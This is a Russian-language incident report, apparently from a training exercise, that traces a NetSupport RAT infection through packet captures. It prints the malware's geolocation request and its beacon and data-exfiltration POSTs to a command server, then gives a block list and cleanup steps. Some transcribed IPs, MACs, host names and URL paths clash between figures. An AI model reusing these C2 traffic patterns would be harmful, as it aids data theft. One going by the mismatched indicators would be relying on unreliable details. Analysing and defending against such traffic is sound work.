

Результаты расследования инцидента в задании Модуля D

Ключевые Данные

Атакующий:

Ip: 194.180.191.64

Role: Сервер управления

Жертва:

Ip: 10.11.26.183

Name: DESKTOP-B8TQK49)

MAC: d0:57:7b:ce:fc:8b

Host: nemotoads.health

Контроллер домена:

Ip: 10.11.26.3

Host: nemotodes-dc.nemotodes.health

Gate: 10.11.26.1 (Cisco)

Хронология инцидента

Этап 1: Заражение

Пользователь (IP 10.11.26.183) в 7:50:14 инициировал DNS-запрос к домену modandcrackedapk.com, скорее всего, с целью установки пиратского программного обеспечения.

```
> Frame 1332: Packet, 80 bytes on wire (640 bits), 80 bytes captured (640 bits)
> Ethernet II, Src: Intel_fc:fc:8b (d0:57:7b:ce:fc:8b), Dst: Dell_7f:09:5d (00:24:e8:7f:09:5d)
> Internet Protocol Version 4, Src: 10.11.26.183, Dst: 10.11.26.3
> User Datagram Protocol, Src Port: 52957, Dst Port: 53
▼ Domain Name System (query)
  Transaction ID: 0xa31d
  ▼ Flags: 0x0100 Standard query
    0... .. = Response: Message is a query
    .000 0... .. = Opcode: Standard query (0)
    .... ..0. .... = Truncated: Message is not truncated
    .... ..1 .... = Recursion desired: Do query recursively
    .... ..0.. .... = Z: reserved (0)
    .... ..0 .... = Non-authenticated data: Unacceptable
  Questions: 1
  Answer RRs: 0
  Authority RRs: 0
  Additional RRs: 0
  ▼ Queries
    ▼ modandcrackedapk.com: type A, class IN
      Name: modandcrackedapk.com
      [Name Length: 20]
      [Label Count: 2]
      Type: A (1) (Host Address)
      Class: IN (0x0001)
      [Response In: 1374]
```

Рис.1 DNS-запрос к modandcrackedapk.com

Сразу после этого был выполнен запрос к `confirmsubscription.com`, что характерно для редиректов, часто используемых для доставки вредоносного ПО

```

> Frame 1335: Packet, 83 bytes on wire (664 bits), 83 bytes captured (664 bits)
> Ethernet II, Src: Intel_ce:fc:8b (d0:57:7b:ce:fc:8b), Dst: Dell_7f:09:5d (00:24:e8:7f:09:5d)
> Internet Protocol Version 4, Src: 10.11.26.183, Dst: 10.11.26.3
> User Datagram Protocol, Src Port: 60694, Dst Port: 53
▼ Domain Name System (query)
  Transaction ID: 0x5656
  ▼ Flags: 0x0100 Standard query
    0... .. = Response: Message is a query
    .000 0... .. = Opcode: Standard query (0)
    .... 0... .. = Truncated: Message is not truncated
    .... 1... .. = Recursion desired: Do query recursively
    .... 0... .. = Z: reserved (0)
    .... 0... .. = Non-authenticated data: Unacceptable
  Questions: 1
  Answer RRs: 0
  Authority RRs: 0
  Additional RRs: 0
  ▼ Queries
    ▼ confirmsubscription.com: type HTTPS, class IN
      Name: confirmsubscription.com
      [Name Length: 23]
      [Label Count: 2]
      Type: HTTPS (65) (HTTPS Specific Service Endpoints)
      Class: IN (0x0001)
      [Response In: 1336]

```

Рис.2 редирект на confirmsubscription.com

После чего началась активная передача данных - TLS handshake с сервером 193.42.38.139 (modandcrackedapk.com). Вероятно, именно в этот момент был скачан вредоносный файл под видом APK или установщика, содержащий **NetSupport RAT**.

```

> Frame 1342: Packet, 1110 bytes on wire (8880 bits), 1110 bytes captured (8880 bits)
> Ethernet II, Src: Cisco_b8:29:5e (00:17:e0:b8:29:5e), Dst: Intel_ce:fc:8b (d0:57:7b:ce:fc:8b)
> Internet Protocol Version 4, Src: 213.246.109.5, Dst: 10.11.26.183
> Transmission Control Protocol, Src Port: 443, Dst Port: 53322, Seq: 25579, Ack: 2820, Len: 1056
> [2 Reassembled TCP Segments (2432 bytes): #1341(1376), #1342(1056)]
▼ Transport Layer Security
  [Stream index: 17]
  ▼ TLSv1.3 Record Layer: Application Data Protocol: Hypertext Transfer Protocol
    Opaque Type: Application Data (23)
    Version: TLS 1.2 (0x0303)
    Length: 2427
    Encrypted Application Data [...]: f6920192dd59d7cacc7da2966fc8b5981c41e9d2e16040ede69f7e51f9b73cf25614862c9cbda119f7751270842613c346a345ffd
    [Application Data Protocol: Hypertext Transfer Protocol]

```

Рис.3 Передача Application data

Этап 2: Запуск и инициализация ПО

Сразу после стандартных проверок подключения к Microsoft NCSI, вредоносное ПО в 7:50:45 выполнило проверку местоположения зараженного компьютера. Это стандартное поведение для NetSupport RAT, чтобы определить, стоит ли атаковать данную цель.

Был выполнен DNS-запрос к geo.netsupportsoftware.com. В пакете №20336 жертва отправляет HTTP GET запрос: GET /location/loca.asp HTTP/1.1 на IP 104.26.1.231.

```

> Frame 20336: Packet, 172 bytes on wire (1376 bits), 172 bytes captured (1376 bits)
> Ethernet II, Src: Intel_ce:fc:8b (d0:57:7b:ce:fc:8b), Dst: Cisco_b8:29:5e (00:17:e0:b8:29:5e)
> Internet Protocol Version 4, Src: 10.11.26.183, Dst: 104.26.1.231
> Transmission Control Protocol, Src Port: 53363, Dst Port: 80, Seq: 1, Ack: 1, Len: 118
▼ Hypertext Transfer Protocol
  > GET /location/loca.asp HTTP/1.1\r\n
    Host: geo.netsupportsoftware.com\r\n
    Connection: Keep-Alive\r\n
    Cache-Control: no-cache\r\n
    \r\n
    [Response in frame: 20344]
    [Full request URI: http://geo.netsupportsoftware.com/location/loca.asp]

```

Рис.4 Запрос геолокации цели

Это подтверждает использование именно программного обеспечения NetSupport.

Этап 3: Соединение с командным центром

Сразу после проверки локации, вредонос инициировал связь с сервером злоумышленника. Был отправлен запрос: POST <http://194.180.191.64/fakeurl.htm>, который содержал данные о зараженном компьютере, такие как: Имя пользователя, версия ОС, список процессов.

```

> Frame 20340: Packet, 274 bytes on wire (2192 bits), 274 bytes captured (2192 bits)
> Ethernet II, Src: Intel_ce:fc:8b (d0:57:7b:ce:fc:8b), Dst: Cisco_b8:29:5e (00:17:e0:b8:29:5e)
> Internet Protocol Version 4, Src: 10.11.26.183, Dst: 194.180.191.64
> Transmission Control Protocol, Src Port: 53362, Dst Port: 443, Seq: 1, Ack: 1, Len: 220
▼ Hypertext Transfer Protocol
  ▼ [Expert Info (Warning/Security): Unencrypted HTTP protocol detected over encrypted port, could indicate a dangerous misconfiguration.]
    [Unencrypted HTTP protocol detected over encrypted port, could indicate a dangerous misconfiguration.]
    [Severity level: Warning]
    [Group: Security]
  > POST http://194.180.191.64/fakeurl.htm HTTP/1.1\r\n
    User-Agent: NetSupport Manager/1.3\r\n
    Content-Type: application/x-www-form-urlencoded\r\n
    Content-Length: 22\r\n
    [Content length: 22]
    Host: 194.180.191.64\r\n
    Connection: Keep-Alive\r\n
    \r\n
    [Response in frame: 20341]
    [Full request URI: http://194.180.191.64/fakeurl.htm]
    File Data: 22 bytes
  ▼ HTML Form URL Encoded: application/x-www-form-urlencoded
    ▼ Form item: "CMD" = "POLL\nINFO=1\nACK=1\n"
      Key: CMD
      Value: POLL\nINFO=1\nACK=1\n

```

Рис.5 связь с сервером злоумышленника

Троян использовал учетную запись пользователя для доступа к Контроллеру Домена (10.11.26.3).

Злоумышленник подключился к сетевой папке <\\NEMOTODES-DC.nemotodes.health\srvvol>.

Были открыты и прочитаны следующие файлы групповых политик (GPO):

gpt.ini - файл конфигурации групповой политики.

GptTmpl.inf - Этот файл шаблона безопасности часто содержит настройки парольной политики, аудита и прав пользователей.

Registry.pol - файл, содержащий настройки реестра, распространяемые через политики.

Данные были переданы многочисленными запросами POST <http://194.180.191.64/fakeurl.htm>

```

> Frame 20348: Packet, 328 bytes on wire (2624 bits), 328 bytes captured (2624 bits)
> Ethernet II, Src: Intel_ce:fc:8b (d0:57:7b:ce:fc:8b), Dst: Cisco_b8:29:5e (00:17:e0:b8:29:5e)
> Internet Protocol Version 4, Src: 10.11.26.183, Dst: 194.180.191.64
> Transmission Control Protocol, Src Port: 53362, Dst Port: 443, Seq: 669, Ack: 522, Len: 274
> Hypertext Transfer Protocol
  > [Expert Info (Warning/Security): Unencrypted HTTP protocol detected over encrypted port, could indicate a dangerous misconfiguration.]
    [Unencrypted HTTP protocol detected over encrypted port, could indicate a dangerous misconfiguration.]
    [Severity level: Warning]
    [Group: Security]
  > POST http://194.180.191.64/fakeurl.htm HTTP/1.1\n
    User-Agent: NetSupport Manager/1.3\n
    Content-Type: application/x-www-form-urlencoded\n
    Content-Length: 76\n
    [Content length: 76]
    Host: 194.180.191.64\n
    Connection: Keep-Alive\n
    \n
    [Full request URI: http://194.180.191.64/fakeurl.htm]
    File Data: 76 bytes
  > HTML Form URL Encoded: application/x-www-form-urlencoded
    > Form item: "CMD" = "ENC0\N$=1\NDATA=13\035;(T\{x032E\024V\032\034\0k\09||$(m0$Cj_000u000Mt0$0$0M0600\n"
      Key: CMD
      Value: ENC0\N$=1\NDATA=13\035;(T\{x032E\024V\032\034\0k\09||$(m0$Cj_000u000Mt0$0$0M0600\n

```

Рис.6 передача данных на сторону хакера, пример 1

```
> Frame 26814: Packet, 336 bytes on wire (2688 bits), 336 bytes captured (2688 bits) on eth0
> Ethernet II, Src: Intel_cfcf:8b (d0:57:7b:cfcf:8b), Dst: Cisco_b8:29:5e (00:17:e0:b8:29:5e)
> Internet Protocol Version 4, Src: 10.11.26.183, Dst: 194.180.191.64
> Transmission Control Protocol, Src Port: 53500, Dst Port: 443, Seq: 669, Ack: 522, Len: 282
+-----+
| Hypertext Transfer Protocol |
+-----+
> [Expert Info (Warning/Security): Unencrypted HTTP protocol detected over encrypted port, could indicate a dangerous misconfiguration.]
> POST http://194.180.191.64/fakeur1.htm HTTP/1.1\n
User-Agent: NetSupport Manager/1.3\n
Content-Type: application/x-www-form-urlencoded\n
Content-Length: 84\n
Host: 194.180.191.64\n
Connection: Keep-Alive\n
\n
[Full request URI: http://194.180.191.64/fakeur1.htm]
File Data: 84 bytes
+-----+
| HTML Form URL Encoded: application/x-www-form-urlencoded |
+-----+
> Form item: "CID" = "ENCID\nES=1\nDATA=L3\Q3<(T{032E00000024V03203400K09||$(M00SC010206000000370000yy>p0004030000xxUAA000G00\n"
Key: CID
Value: ENCID\nES=1\nDATA=L3\xD<(T{\x1AE0000000\x14V01A0XC00K09||$(M00SC0101800000\x1F0000yy>p0004\x180000xxUAA000G00\n
```

Рис.7 передача данных на сторону хакера, пример 2

Передача данных завершилась в 8:43:29

Заключение и рекомендации

Что произошло:

Пользователь посетил вредоносный сайт - modandcrackedapk.com и скачал не проверенный файл, после запуска которого, компьютер DESKTOP-B8TQK49 был заражен. Вредоносное ПО установило постоянный канал связи с сервером 194.180.191.64, используя маскировку под легитимный трафик НТТР, были собраны критически важные данные с компьютера и контроллера домена. После чего, была начата передача данных злоумышленнику.

Рекомендуемые действия:

1. Отключить хост 10.11.26.183 от локальной сети.
2. Добавить IP 194.180.191.64 и URL-паттерн `*/fakeurl.htm` в черный список на шлюзе.
3. Проверить контроллер домена 10.11.26.3 на наличие подозрительных авторизаций с зараженного хоста.
4. На зараженной машине необходимо найти процессы `client32.exe` которые часто маскируются в папках `%APPDATA%`.
5. Обновить базы антивирусного программного обеспечения.
6. Настроить WAF